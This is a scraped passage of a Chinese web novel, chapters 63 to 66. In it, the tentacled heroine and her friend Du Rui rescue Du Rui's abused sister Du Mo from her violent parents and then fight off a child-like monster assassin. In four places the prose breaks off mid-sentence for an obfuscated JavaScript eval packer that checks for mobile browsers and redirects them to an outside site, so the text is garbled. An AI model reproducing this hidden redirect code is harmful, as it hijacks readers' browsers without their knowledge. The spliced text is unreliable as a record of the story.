黎望舒推门扫了一眼——两个房间里摆设简单,都是两个上下铺,共计八个床位,书桌、储物柜一应俱全,甚至有单独的卫生间与淋浴间,看起来相当舒适。 “这地方末世前就是宿舍,里头的摆设没变,但床单被褥都换了新的,水电都通,不过有每周使用限额。”小弟介绍,“宿舍只租不卖,每周需要缴纳定量的怪物肉,具体数额各位可以去任务处了解,不过方将军说了,第一周各位可以免费住,先整顿好行李,了解下基地的情况,再决定要不要留下来。” “好的,代我感谢方将军。”黎望舒与他客套。 …… 分好了房间与床位、简单将一些日用品摆放下来后,众人重新聚到了黎望舒的房间里。 “那位方将军不简单。”闻风藻刚坐下,就谈起了方镇岳。 “我也这么觉得,不愧是基地的领导人,气量真大。”连霏赞同,“这么好的房间,居然让我们免费住。” “……你的重点抓得好清奇。”闻风藻无语。 “免费只是暂时的,他是想笼络望舒和小闻吧。”杜蕊摸了摸下巴,“不过他的确气度惊人,不笑的时候看起来威风凛凛,说起话来又表现得和蔼可亲,没什么架子。” 说着,她郁闷地叹了口气:“经历了这么多,我好像变得没法轻易相信陌生人了。方将军看起来人很好,但我控制不住地会去想,这究竟是不是他真实的样子,也许这是他为了欺骗我们做出的伪装。” “这样很好。”黎望舒说,“时常带着怀疑,才能更好地保护自己。” “道理我明白,但还是忍不住感叹。”杜蕊说。 “咳……话题歪了,我指的不是方将军的为人。”闻风藻无奈地说,“他的精神波动很强,压迫感也很重,几乎只比彼岸弱一点,单独点出我应该也是因为看出了我的波动。” “意料之中。”黎望舒点头,“他是个聪明人,既然敢将大量吞噬者迎进基地里,就说明他一定有控制局面的方法——要么是手下有极为忠诚的强者,要么他自己就是一个强大的人。” “那该怎么办,我们要离开吗?”杜蕊有些担忧。 “问题不大,先静观其变。”黎望舒说,“这里条件不错,有电有水,还很安稳。自从我们从山城出发,一路颠簸,大家都没休息好,可以的话,我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15027018|158285||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想在这里多留一段时间。” “我赞成!”杜蕊兴奋地说,“其他的都是浮云,最重要的是,住在这里可以经常洗澡!” “现在就可以洗。”黎望舒指向卫生间,“我问过水的周限额了,足够我们三个用很久。” “……还是等一等吧,任务处那边还没消息呢。”想起了妹妹,杜蕊又变得不安,抓起身边的破旧熊猫玩偶抱在怀里,“她说了今天之内能找到,我想第一时间过去接人。” 杜蕊话音刚落,外面就传来了一阵“噔噔噔”的脚步声。她一下子站了起来,飞快地打开门朝外看,跑来的果然是登记处的马尾辫女孩。 她手里抓着一张单子,气喘吁吁地喊:“我找到杜茉的住址了!” …… 黄昏时分,昏暗的厂房角落里,一个胖乎乎的小男孩在被褥上睡得正香。 萧荣结束了护士站的工作,小跑着回到厂房,找到自家的床位。 见自己宝贝儿子白胖的肚子裸露在空气中,她连忙扑上去为儿子裹紧了被子,轻轻拍了拍他的脸:“昊轩,醒醒……你这孩子,怎么又踹被子,感冒了怎么办?” 杜昊轩被母亲拍醒,揉了揉眼睛,张口就说:“妈,我饿了。” “对不起啊宝贝,妈妈今天太忙了,没来得及给你送午饭。”萧荣轻声哄他,转头扫了眼旁边的位置,变了脸色,“杜茉那个小蹄子呢?我不在,她就不知道带点吃的回来?” “二姐中午回来了,但带回来的肉干太少了。”杜昊轩抱怨,“我没吃饱。” “……没用的东西,今晚我好好修理她一顿。” 萧荣又骂了一句,床铺旁边的臭气一直往鼻子里钻,顿时心情更糟了——她捏着鼻子,嫌弃地瞥了眼旁边的公共厕所,“等家里富裕了,一定得换个好点的床位,这地方太臭了。” “我没闻到啊。”杜昊轩猛吸了口气。 “傻孩子,你都被腌入味了。”萧荣心疼地摸了摸他的脸,掏出了怀里温热的小包裹,“看着都饿瘦了,乖,先吃些肉干,等你爸回来,就有鸡蛋吃了。” 杜昊轩迫不及待地打开了包裹,抓起肉干就往嘴里塞,噎得直锤胸口;萧荣连忙找出了水壶,小心翼翼地将壶口喂到他嘴边。 “爸回来了!” 吃到一半,杜昊轩眼尖地看到了厂房门口的身影,立刻高兴地扔下了手中的肉干,朝那边大喊一声:“爸,我的鸡蛋呢?” 听到鸡蛋两个字,旁边的几户人家投来了艳羡的目光,杜昊轩得意地挺起胸膛。 爸在养鸡场工作,每天都能带鸡蛋回来,他等会儿一定要把鸡蛋掰开,慢慢地吃,馋死旁边那群吃不饱饭的家伙! 他美滋滋地想着,没注意到父亲阴沉的脸色。 杜为民沉着脸,快步走向自家床位,从怀中掏出一包肉干,扔在杜昊轩面前。 杜昊轩迫不及待地打开包裹,却没看到心心念念的鸡蛋,顿时大失所望,“爸,鸡蛋呢?” “啪!” 杜昊轩还想再问,但随着一道响亮的巴掌声,他右脸上骤然传来一阵剧痛,手中的肉干掉在地上。他半天才反应过来,自己被父亲狠狠地打了一巴掌。 64. 第 64 章 “吃吃吃,你就知道吃!” 看着杜昊轩呆愣的样子,杜为民喘着粗气,还嫌不解气似的,再一次抡起巴掌,还想再打,手臂却被扑上来的萧荣死死抱住了。 “有话好好说,你打孩子做什么!” 儿子娇嫩的脸上,红肿的巴掌印格外显眼,萧荣几乎立刻红了眼圈,“他做错什么了?!” “你自己问他!”杜为民怒声道。 杜昊轩迟钝地摸了摸脸上的巴掌印,周围人的目光刺得他脸上火辣辣的。他嘴角一撇,放声大哭,“我、我什么也没做,今天睡了一天,凭什么打我!” 萧荣怒瞪着丈夫,脸色难看。 杜为民气得又开始大喘气,指着杜昊轩半天没说出话来,“我问你,是不是你去外边到处说我偷鸡蛋?是不是你害我丢了养鸡场的工作!” 震天响的哭声心虚地顿住了。 “你小子!”杜为民脖子通红,撸起衣袖就要揍他。 “你等一下,你等一下!”萧荣再一次将他拽住,“一定有什么误会,儿子怎么会这样说自己的爹呢?昊轩,别愣着,你快点解释啊!” 杜昊轩支支吾吾地说不出话来。 直到这时,他才后知后觉地反应过来,爸天天带给自己吃的鸡蛋不是养鸡场发的福利,而是他偷来的——要是提前知道了这件事,他绝对不会到处向小伙伴炫耀的! 眼看着杜为民越来越激动,他情急之下灵机一动,大喊道:“不是我,是二姐!一定是她嫉妒我有鸡蛋吃,所以才去告密的!” 杜为民怀疑地盯着他:“真的?” “真的!就是二姐,她老在背地里说你们坏话!”杜昊轩生怕他不信,添油加醋地告状,“她还说过,以后要学大姐,离了家就再也不回来呢!” “小贱人……净学坏。”萧荣顺口骂了一句,“见不得自家人好的东西!” 杜为民对杜昊轩的话半信半疑,但看着儿子红肿的脸蛋,他也的确不舍得再打,满腔怒火无处发泄,全都指向了还未归来的二女儿杜茉。 “养鸡场的工作真没啦?”见他放下了高举的手臂,萧荣松了口气,小心翼翼地问。 “没了!”杜为民烦躁地回答。 “多好的工作啊,真可惜。”萧荣咂嘴,又问:“那你什么时候去找新工作?” “明天再说吧……你催什么催?”杜为民瞪她。 “怎么了,问问也不行?你急什么。”萧荣不怵他,“我一个人可养不起四张嘴!” 杜为民不说话了,憋着气捡起肉干咬了一口。 正嚼着,他余光扫到隔壁笑着的老大娘,心中的火山顿时被点燃了,将肉干往地上一砸,站了起来,“笑什么笑?好笑吗?老东西,找打是不是!” 老大娘正和工作归来的女儿谈笑着,闻言惊恐地看了他一眼,沉默地往里缩了缩。 扭曲的掌控欲得到满足,杜为民心中憋闷消散,痛快了不少。 “爸,二姐回来了!”瞥见门口那个瘦小的身影,将功补过似的,杜昊轩立刻拉了拉父亲的衣袖。 杜茉排了很久的队,才从救济处领了一小包肉干回来,累得脚步虚浮。她远远地就瞧见了父亲阴沉的面色,抓着包裹的手一紧,心中有些害怕,但如果扭头就跑只会被揍得更狠,她只好硬着头皮走过去。 “爸,救济站的阿姨说了,一个人每天只准领一次。这里头还有我上午赚到的肉干,都给你。” 她怯生生地将包裹递给杜为民,但却被他一掌拍开了手,她手心的水泡被打破了,疼得松开了手,包裹掉落在地上,里头的肉干散落一地。 杜为民扬起巴掌之前,杜茉就下意识用胳膊挡住了脸。杜为民一巴掌下去,反而被她胳膊上的骨头硌得生疼,怒气冲冲地去拉她:“小畜生,还敢躲!” 萧荣在一旁冷眼看着,没有上前阻拦的意思。 杜茉紧咬着唇瓣一声不吭,不打算去问自己究竟做错了什么,被杜为民拉得东倒西歪,任凭巴掌火辣辣地落在身上。 问了也没意义,无论怎么辩驳,他们都能找出千百种理由来打她。 杜茉麻木地想。 旁边的年轻母亲看不下去,让自家孩子躲到后面,皱着眉头为杜茉鸣不平:“你为难这么个小姑娘有什么用,你工作丢了又不是她害的,是你们家儿子天天到处炫耀自己有鸡蛋吃,这才……” 杜为民抓着杜茉细瘦的手腕,恶狠狠地瞪过去,目光触到年轻母亲不善的眼神与她手中沾血的锋利长刀时,头脑冷静了不少。 他面上挂不住,色厉内荏地问:“我管教孩子关你什么事?” “打扰到我们休息了!”年轻母亲不甘示弱地盯着他,“大家都忙了一天,好不容易回来睡一会儿,没人想听你发疯冤枉孩子。这孩子多乖啊,没上初中的年纪就开始一个人工作赚肉干了,生在你家真是暴殄天物!” 杜茉鼻子发酸,感受到手腕上传来的力道越来越大,忍不住吃痛地挣扎起来。 “行,那我去外面揍她!”杜为民拖着杜茉往外走,“喜欢心疼别人家的孩子?我今天非揍她不可,你好好看着,我是怎么把她揍死的!” “你这人……” 发觉自己好心办了坏事,年轻母亲下意识要去追他,但想起了自己身后的孩子,脚步犹豫着停下了。 她与丈夫一个上白班,一个上夜班,为的就是孩子身边时时刻刻都有人在。担心被那个疯男人的老婆报复,她不敢将孩子独自留在厂房里,更不想带着孩子去与人纠缠,但那个瘦弱的小女孩又着实令人揪心……如果她没有贸然出声,那个小女孩说不定不会被打得这么惨。 她心中愧疚,正左右为难时,厂房门口突然传来了一声清脆的大喝:“住手!” …… 没有路灯的昏暗道路上,登记处的马尾辫女孩领着黎望舒几人,脚步匆匆地向厂房那边赶。 除去被留在宿舍里看行李的塞拉斯外,其余几人听说了杜蕊的奇葩家庭,都自愿跟过来给她撑场子。 马尾辫女孩边走边向他们介绍:“杜家四口人住在那边厂房的大通铺里头,那里条件简陋,没什么隐私,但床位租金很便宜。类似的大通铺基地里有四五个,都住满 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15031531|158285||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。” “那个叫杜茉的小妹妹真能干,我看了她的工作记录,她每天都去基地外头割草,回来卖给养殖场换肉干。”马尾辫女孩感叹道,“她今年才十一岁吧?就连一部分成年人都不敢出基地呢,她真勇敢。” “天杀的……”杜蕊恨得咬紧了牙,“肯定是那两夫妻逼她了!这么危险的工作,一不小心就会被怪物吃掉,亏他们舍得!” “其实我们基地里每天都发救济粮,排队就能领到。”马尾辫女孩连忙解释,“虽然不多,但足够让一个孩子吃饱,就算她不去工作也饿不死的。” “我知道,不是你们的错。那两夫妻就是这样的人,无论什么东西都要先紧着他们的宝贝儿子。”杜蕊说,“茉茉赚回来的肉干有多少进了自己的肚子还不好说呢。” “这……”马尾辫女孩犹豫着说,“毕竟是亲生父母,不至于这么绝情吧。” 杜蕊没再接话,默默加快了脚步。 终于赶到了厂房门口,杜蕊顾不上嫌弃扑面而来的混杂气味,视线在厂房的大通铺中转了一圈,一眼就看到了自己的妹妹——她的手腕被人紧紧攥住,随着前面那人的脚步,踉踉跄跄地被拖着向前走。 再仔细一看,前面那个一脸黑沉的中年男人,赫然就是她那个窝囊又暴躁的爹,杜为民! “住手!” 杜蕊额角青筋跳起,高喝一声,大步上前截住了那两人的去路。没等杜为民反应过来,杜蕊并指成刀,狠狠地劈在他的手腕上,趁着他吃痛的功夫,轻而易举地将杜茉扯到了自己身后。 杜茉愣愣地抬头,面前的背影十分眼熟,又高大得不可思议。她几乎以为自己在做梦,难以置信地小声呼唤:“……姐姐?” “是我,茉茉,姐姐来接你了。” 杜蕊回头看见她脸上红肿的巴掌印,忍不住红了眼眶。她将熊猫玩偶塞进妹妹的手里,捋了捋妹妹凌乱的头发,轻声安抚:“是我来晚了……别怕,姐姐不会再让任何人欺负你了。” 这些天里,杜茉被打得再狠也从没哭过,但一见到姐姐,她的泪就忍不住在眼眶里打转,哽咽着扑进了姐姐怀里。 “杜蕊?”杜为民认出了自己的大女儿,撸起袖子就要冲上来,“小兔崽子,你还敢回来!” 杜蕊反身抱着妹妹,来不及躲开,黎望舒眸光一冷,触手转瞬间伸出,牢牢缠住了杜为民的四肢,将他摔在地上。 “哎呦!”杜为民的后脑勺结结实实地磕在水泥地上,疼得面目扭曲,但四肢被绑在一起动弹不得,连伸手揉一揉伤口都做不到。 “怪、怪物!”萧荣急忙赶来,看见缠在丈夫身上的触手,她不敢上前,抖着声音大喊,“这里有怪物啊,警卫呢!” “望舒,你放开他。” 杜蕊安抚完妹妹,摸到了她瘦得能摸到骨头的手腕,又发现了她手心里的茧子与溃烂的水泡,心中止不住地发酸。 她怜惜地摸了摸杜茉的脑袋,将她推到黎望舒身边,自己狠狠地盯向地上仍在哀嚎的杜为民,将手骨捏得咔咔作响,一字一顿道:“我一定要亲手修理他一顿!” 65. 第 65 章 手脚上的束缚被解开,杜为民晕头转向地站起来,还没搞清楚现状,右脸就结结实实地挨了一拳。 杜为民被打得一个趔趄,下意识想要还手,但挥出的巴掌扑了个空不说,左脸上又挨了一拳头,冲击之下,他趔趄地跌倒在地。 被这毫不留情的两拳打得眼冒金星,他脸上的皮肉迅速肿起,连骨头缝都在隐隐作痛。看清了面前高举拳头的杜蕊,他惊怒道:“你敢打你老子?!” “打得就是你!” 杜蕊还嫌不解气,一脚踏上他的胸膛,硬质鞋底狠狠地往下碾去,压得他惨叫不止。 厂房外,一阵混乱的脚步声接近——附近的警卫终于听到了这边的动静,姗姗来迟。 他们刚想上前拉开两人,脚尖前的地面却突然被长条物体响亮地抽过,速度极快,力道十足,带起一阵尘烟。 看着警卫们戒备地止住脚步,黎望舒收回触手,安抚地按住了杜茉瘦弱的肩膀,静静等待杜蕊发泄完毕。 这不是斗殴,而是一场单方面的碾压。 杜蕊骑在杜为民身上,每一拳都用尽全力,直直地朝杜为民脸上招呼;杜为民毫无还手之力,被动地承受着她的愤怒,一开始口中还在骂骂咧咧,但随着时间的推移,他护在脑袋边的双臂逐渐垂下,痛呼声也越来越低。 两边床位上的人或是蒙着被子呼呼大睡,或是冷眼旁观,还有的不喜血腥场面,带着自家孩子一起别过身去,但没有一个人愿意上前拉架——这些天里,他们早就受够了这一家人的闹剧,对这夫妻俩摆在明面上的偏心与压迫感到不齿,此刻看到杜为民得到报应,恨不得拍手称快。 “住手……快住手,那可是你爸!” 萧荣看着丈夫一点点衰弱下去,心中焦急,但顾虑那个长着触手、似乎与杜蕊是同伴的女人,她不敢出手阻拦,只好在一旁苦口婆心地不停劝说。 杜昊轩见父亲被昔日随意欺负的大姐打成这样,心中气愤,挥着两条短手,冲上去要将杜蕊拉开,却被打红了眼的杜蕊掐着脖子按在地上。看着大姐血丝密布的狠厉双眼,他终于感觉到了恐惧,在杜蕊手中挣扎个不停。 随手将杜昊轩丢开,杜蕊俯视着杜为民那张可憎的脸,想起了从前被他肆意辱骂殴打的日子,心中的怒火愈发膨胀,她再一次挥起拳头,胳膊却被扑上来的杜茉抱住了。 “姐姐,不要杀人……”杜茉泣不成声,“我不想你杀人!” 杜蕊身体一僵,猛地清醒过来。她急促地喘了几口气,撑起身子退后两步,愣愣地看着地上那具奄奄一息的身体。 杜为民被她打得鼻青脸肿、面目全非,鼻孔嘴边都是血,脸颊边上还躺着两颗发黄的门牙。看着他这副凄惨的样子,杜蕊简直不敢相信,自己和妹妹居然被这样一个窝囊废压迫着活过了大半的人生。 怒火急速冷却,取而代之的是浓重的悲伤与嫌恶。她一下子兴致全无,冷冷扫了眼旁边颤抖着的萧荣,牵着妹妹的手,离开了厂房。 看着厂房大门重重地合上,萧荣身子一颤,连滚带爬地去查看杜为民的情况——昏暗灯光之下,他满脸是血,胸膛起伏微弱,怎么叫也叫不醒……但毫无疑问,他还活着。 萧荣眼泪止不住地往下掉,对他满身的伤口束手无策。 这么严重的伤,一般的药肯定没多大作用,就算将他拖去医疗所也不一定能治好,还要浪费许多先前存下来的肉干……就算治好了,短时间内他也不可能出去工作了。 在不省人事的杜为民身边犹豫了一会儿,萧荣心一横,抱起了一边大哭不止的杜昊轩,不再去管自己的丈夫,在众人鄙夷的视线中缩回了角落中的床位。 …… 离开厂房后,一行人沉默地向宿舍走去。 两旁的路灯没有供电,道路被黑暗笼罩。好在今夜月色皎洁,人眼适应黑暗后,勉强能看清身旁的东西,不至于伸手不见五指。 黎望舒朝身边扫了一眼——杜蕊眉毛紧皱,似乎还沉浸在方才的情绪之中,她一手牵着妹妹,另一只手紧紧攥成拳头,骨节上仍在滴血。 黎望舒用触手卷起她的手,轻轻擦去她手上的血液,“手疼吗?” 杜蕊一惊,本能地缩了下手,又很快地放松下来,低声说:“不疼。这是人渣的血,脏得很,你别沾上,等会儿我自己洗掉。” 杜茉看到姐姐手上缠绕着的青黑触手,想起了在墙外见过的可怕怪物,心中有些害怕,下意识往姐姐身后缩了缩。 “差点忘了——这位是小黎姐姐,之前和你提过,大学的时候和我住同一个寝室的好朋友,还记得吗?还有这边的几个哥哥姐姐,都是我们的同伴。” 杜蕊注意到了杜茉的不安,捏了捏手中的触手,笑着说:“别怕,你看,这是小黎姐姐的触手,和怪物的不一样,不会伤人的,软软的多可爱呀。” 黎望舒配合地伸出了一根触手,静静地悬停在杜茉面前半米左右的位置,尖端微微卷起,上面夹着一颗包着彩色糖纸的糖果,等待小女孩自己来摸。 杜茉一双大眼睛嵌在小小的消瘦面庞上,显得格外有神。她犹豫着抬头看了眼杜蕊,在姐姐鼓励的目光中,小心翼翼地抬手摸向面前的触手。 指尖传回了冰凉又柔软的触感,没有她想象中的粘腻,而是一片光滑,摸起来很像果冻。她惊叹于触手奇异的手感,忍不住又摸了一下,触手顶端却突然松开,彩色的糖果落下,啪一声掉进了她手心里。 杜茉惊喜得双眸一亮,看向黎望舒的眼神多了一分亲近。 黎望舒微微一笑。 这是她从连霏那里学来的对待陌生小狗的方法,现在看来,对待小孩同样有效。 让她没想到的是,杜茉并没有立刻拆开糖果,而是捧着糖果看了两眼,毫不留恋地将它递了回来。 “这是给你的礼物,不吃吗?”黎望舒没接。 “但、但它很贵……”杜茉捧着糖果 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15034817|158285||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不知所措。 黎望舒想了想,正打算拿出在孤儿院练就的哄孩子绝招,耐心地同小姑娘讲道理,旁边的杜蕊已经剥开了糖球,一把塞进了杜茉口中,“哎呀,别想那么多,给了你就是你的了。” 黎望舒:“……” 这太粗暴了。 果不其然,杜茉含着糖块呆住了,盯着姐姐看了两秒,突然鼻子一抽,眼眶中蓄起泪水。 “怎么了,磕到牙了吗?”杜蕊手忙脚乱地为她擦眼泪,“对不起,是我不好。” “牙不疼……我就是有点心疼。” 感受着甜味久违地在味蕾上扩散开来,杜茉忍不住鼻子发酸,含糊地说:“我得割一个星期的草,拿到的肉干才能换到一颗糖,就这样吃掉太浪费了。” 杜蕊手上的动作一顿,忍不住伸出手,心疼地将她抱进了怀里,“只要你吃得开心,就一点也不浪费。以后不用再节省了,咱们家里还有一大堆糖果呢。” 杜茉将下巴埋在姐姐肩膀上,听话地“嗯”了一声,只觉得心中无比安稳。她又抬头看向黎望舒,“谢谢小黎姐姐。” 黎望舒微笑着对她点头,心思却已不在这个小姑娘身上了。她不动声色地环视周围的黑暗,浑身的肌肉悄然紧绷,触手蠢蠢欲动。 从刚刚开始,她就隐约有种违和感,似乎有什么东西正潜藏在这片黑暗之中,阴凉地窥视着这边……他们恐怕被跟踪了。 跟踪他们的是谁,又是为了什么?基地内本该是安全的,他们初来乍到,除了杜家夫妻外并没有得罪什么人,黎望舒不认为这对夫妻有实力请人来尾随他们。 郁仪也察觉到了异常,悄无声息地走到她身旁,握紧剑柄,向她投来征询的视线。 “没事,别紧张。”她摇头,示意郁仪不要贸然出手。 对方不一定怀有恶意,也许只是想探一探他们一行人的虚实。对付这种藏在暗处的家伙,比起打草惊蛇,静观其变显然是更好的处理方式。 杜茉敏感地从他们的脸色中看出了一丝端倪,心中有些不安。糖球在舌尖滑动,她不敢出声询问,只好默默抱紧怀中的熊猫玩偶,又握紧了杜蕊的手,试图从姐姐手心的温度中汲取安全感。 一行人重新出发。 谁也没有说话,沉默在空气中发酵。连霏与闻风藻也从这奇异的氛围中品出了不对劲,都绷紧了神经,警戒起来。 突然,一道破风声从背后袭来,闪着锐利寒光的短匕从黑暗中飞出,尖端直冲黎望舒的后脑! 黎望舒早有准备,微微一侧身便躲过了这一击。 郁仪压低身子拔剑,用剑背准确地拍中了短匕,本想将它击落,却没想到那短匕成了精似的,只是摇摆了一下,在半空中划出一道诡异的弧线,旋转着飞回了黑暗中,被一只细白的小手接住了。 紧接着,一道清脆的童声响起—— “真是的,一个两个怎么都这么警觉,让人家很难下手啊。” 66. 第 66 章 黑暗之中,缓缓走出了一个约八九岁的小女孩。 她脑后上扎着两个揪揪,生得玉雪可爱,穿着蓬蓬纱裙,外表十分无害,手中却握着一对寒光毕现的锋利短匕,看起来违和感十足。 看清那女孩的一瞬间,杜茉惊讶地睁大双眼,忍不住抓紧了姐姐的手。 杜蕊以为她害怕了,连忙回握住她的手,轻声安慰:“没事的,大家都很强,她伤不到你。” 几人依旧保持着警戒姿态,但犹豫着没有出手,隐蔽地交换了一个疑惑的眼神。 谁也没有想到,那样狠辣又精准的一击,竟然出自这样一个天真孩童之手。 黎望舒微微蹙眉,看了眼女孩手中的短匕——刚刚要不是她躲得快,那柄短匕已经插到她脑袋里了——她飞快地上前堵住了小女孩,冷声喝道:“小闻,别让她跑了。” 郁仪无言地跟上她,截断了纱裙女孩的退路。 被他们二人包夹在中间,纱裙女孩眯着眼笑起来,并不打算逃跑,泰然站在原地,一下下地抛接着手中的短匕,似乎毫不慌张。 闻风藻回过神来,视线一凝,盯紧了对面的女孩,催动能力,瞳孔中转起蓝光。但无论他怎么驱使精神力,纱裙女孩始终毫无反应,依旧笑嘻嘻地站在原地。 “这是……” 闻风藻仔细一看,才发现纱裙女童周身笼罩着一层精神力屏障,看起来单薄,但他投出去的力量碰到这层屏障宛如泥牛入海,转瞬间就被消融吞噬了。 他朝黎望舒摇头:“这孩子会用精神力,我突破不了她的屏障。” “哼,姑奶奶我开始用精神力的时候,你还不知道在哪儿呢!” 欣赏着他难看的面色,纱裙女童得意洋洋地扬起下巴,叉着腰说:“真是群笨蛋,得罪了人还敢大摇大摆地在基地里乱跑,生怕死得不够快?” 简单评估了一番对方的实力,黎望舒看出了她打不过自己,耐心地问:“是谁派你来的?” “嘻嘻,你猜?”纱裙女童牵起恶劣的笑容,白嫩脸颊上两个笑涡格外显眼,“猜对了……我也不会饶你们一命的!” 话音未落,她双足一蹬,如同一颗小炮弹,朝黎望舒冲来,足下的水泥路面如蛛网般寸寸崩裂。她反手握着一对短匕,刀尖眨眼间就逼到了黎望舒面前。 黎望舒侧身避过,纱裙女童一击不中,灵活地止住冲势,扭身挥臂,短匕在夜色中划出一道雪亮的光,刀尖险之又险地从黎望舒颊边擦过,带起一阵冷意。 一刀、又一刀……纱裙女童奋力驾驭着自己的短胳膊短腿,动作快如鬼魅,可黎望舒比她更快,她自信挥出的几击尽数落空,连一旁观战的郁仪都将心放回了肚子里,按着剑柄歇了插手的心思。 她被气得跳脚:“躲得快很了不起吗?有本事就站着别动啊!” 这孩子……好像不太聪明啊。 黎望舒有些好笑,心念微转,真的站在原地不动了;纱裙女童双眼一亮,没放过这个好机会,噔噔噔迈着短腿跑过来,看准了她的脖子就要跳起来挥刀。 黎望舒后退一步,伸展触手,层层叠叠地挡在身前。纱裙女童并不把脆弱的触手放在眼中,手腕一转,随手砍了上去。 “登——” 随着一道金石相击的声音,与触手接触的短匕刀刃碎裂开来,锋利刀片四散飞溅,又被严密的触手之网拦下,哗啦啦散落一地。 纱裙女童止住了脚步,目瞪口呆地盯着手中仅剩的木制匕首柄,呆了几秒,撒手扔下刀柄,向后一跳,远远地拉开了与黎望舒的距离,气急败坏地大叫:“你、你怎么可能会用这招!” 连她自己都还没学会强化触手呢!她可是大家眼中的天才,怎么可能会被一个人类抢先,真是奇耻大辱! “还打吗?”黎望舒笑着问。 纱裙女童死死地盯着她不说话——速度、力量都是对方更胜一筹,就连触手她都拼不过对方……显而易见,光凭武力,她打不过对面那个高大的女人。 她不甘地咬住唇瓣,转身想跑,但脚腕却被不知何时伸过来的触手绑住,猝不及防之下,她被扯倒在地。她蹬了两下腿,没把触手蹬开,脚腕反而被缠得更紧了。 想起了匕首碎裂时的场景,她打了个冷战,不敢再动弹,面朝下趴在地上装死。 “先别急着走,你还没回答我的问题。”黎望舒缓缓走近,居高临下地俯视她,“是谁派你来的?” “方镇岳。”纱裙女童闷头回答。 “胡说,我什么时候得罪过方将军?” 黎望舒本想踹她一脚,但看见她身上皱皱巴巴的儿童纱裙,又见一旁的杜茉正不安地朝这边看,想了想,还是放弃了。 她用鞋尖帮纱裙女童翻了个面,没好气地警告:“我劝你老实点,别耍小心思。” “我说的是真话!你们只和他见过一面,怎么能确定他是好人呢?” 纱裙女童耍赖,睁着一双水灵灵的大眼睛,可怜巴巴地望向黎望舒,“大姐姐,我是被方镇岳逼过来的,他说不杀了你们,今晚就不给我吃饭。” 黎望舒眸光一冷,正想给她些教训,却见她圆眼中突然光芒大盛,一道蓝光从她瞳孔中激射而出,一瞬便没入了黎望舒的眉心。 “哈哈哈!让你小瞧我,知道厉害了吧!” 纱裙女童大笑,“过不了多久,你的灵魂就会被我的精神力绞碎,等死吧!” 但作为回应,她只得到了一个略带怜悯的眼神。 “……也好,这样省得我出手了。”黎望舒放开她脚腕上的触手,“你还真是不怎么聪明。” 老实说,对着这样一张天真可爱的粉嫩脸蛋,即便清楚这孩子是个小怪物,她也有些下不去手。 “什么意思?”纱裙女童立刻爬了起来,试探性地走出两步,面前的高大女人却没有阻拦。她心中一喜,以为自己的攻击奏效了,连忙撒开步子逃跑,但没跑两步,突然双膝一软,跪在了地上。 脑中传来阵阵绞痛,她伏在地上抱紧脑袋,痛苦地哀嚎出声。 这种感觉……她触发了精神印记?但区区一个人类,脑海中怎么会有精神印记? 她勉强抬起头,带着婴儿肥的脸颊上糊满血泪,连耳朵孔都在不断向外溢血,看向黎望舒的视线中带着一丝恐惧,“你……你究竟是什么人?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15038308|158285||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 黎望舒的耐心被耗光,面无表情地俯视着她,并不打算回答——看样子,这个狡猾的小怪物从前杀过不少人。既然从它口中问不出东西,也不打算留下它的命,她便懒得多费口舌。 然而,正当她伸出触手,打算刺穿纱裙女童的心脏时,杜茉看出了她的打算,咬牙挣脱了姐姐的手,跌跌撞撞地朝这边跑过来,大声喊道:“小黎姐姐,求求你,别杀她!” “危险!”杜蕊伸手去抓妹妹,却抓了个空。 黎望舒触手顿住,惊愕地回头。 纱裙女童也惊讶地看向杜茉。抓住黎望舒分神的机会,她忍着痛催动能力,身形竟然逐渐变得透明,如水波般荡漾着隐在了空气中。 黎望舒一惊,触手窜出,飞快地去捞那个半透明的影子,但还是晚了一步……悄无声息地,纱裙女童就这样凭空消失了。 “茉茉,你知道自己在做什么吗?” 眼睁睁看着纱裙女童逃掉,杜蕊又气又急,更担心妹妹受到责难,“那是怪物,她想杀了我们!” 